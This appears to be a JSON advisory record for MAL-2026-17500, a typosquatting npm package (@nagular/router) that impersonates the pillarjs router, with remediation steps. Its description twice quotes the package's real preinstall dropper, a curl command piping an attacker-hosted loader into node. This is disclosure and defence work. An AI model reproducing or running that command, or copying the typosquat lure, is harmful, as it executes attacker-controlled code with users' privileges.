{"answers":{"affected":"1 open source package ship an affected version, including @nagular/router.","exploited":"There is no known exploitation of MAL-2026-17500 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17500 is a malicious package in @nagular/router, published on 3 Oct 2026."},"fix_prompt":"MAL-2026-17500 is a malicious package: @nagular/router (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17500/ (Markdown: https://insights.sbomify.com/MAL-2026-17500/index.md)","id":"MAL-2026-17500","markdown":"https://insights.sbomify.com/MAL-2026-17500/index.md","name":"MAL-2026-17500","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"@nagular/router@2.2.1 impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\npackage.json declares a preinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque JavaScript payload from an unrelated third-party repository (gitflic.ru/hellscripter/install-scripts) proxied via web.archive.org and piping it directly into node at `npm install` time. The fetched bytes are not pinned by hash or version, the host is unrelated to the declared repository (pillarjs/router) or publisher domain (somethingdoug.com), and execution happens automatically with full user privileges on every install. Package metadata further impersonates the maintainer of the legitimate pillarjs/router package (author: Douglas Christopher Wilson) and uses the scope `@nagular/router`, a name likely to be confused with `@angular/router`, consistent with a typosquat lure designed to trick installers into running the preinstall dropper.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @nagular/router (npm)","id":"MAL-2026-17500","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@nagular/router","purl":"pkg:npm/%40nagular/router","source":"MAL-2026-17500"}],"products":null,"published":"2026-10-03","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17500/"}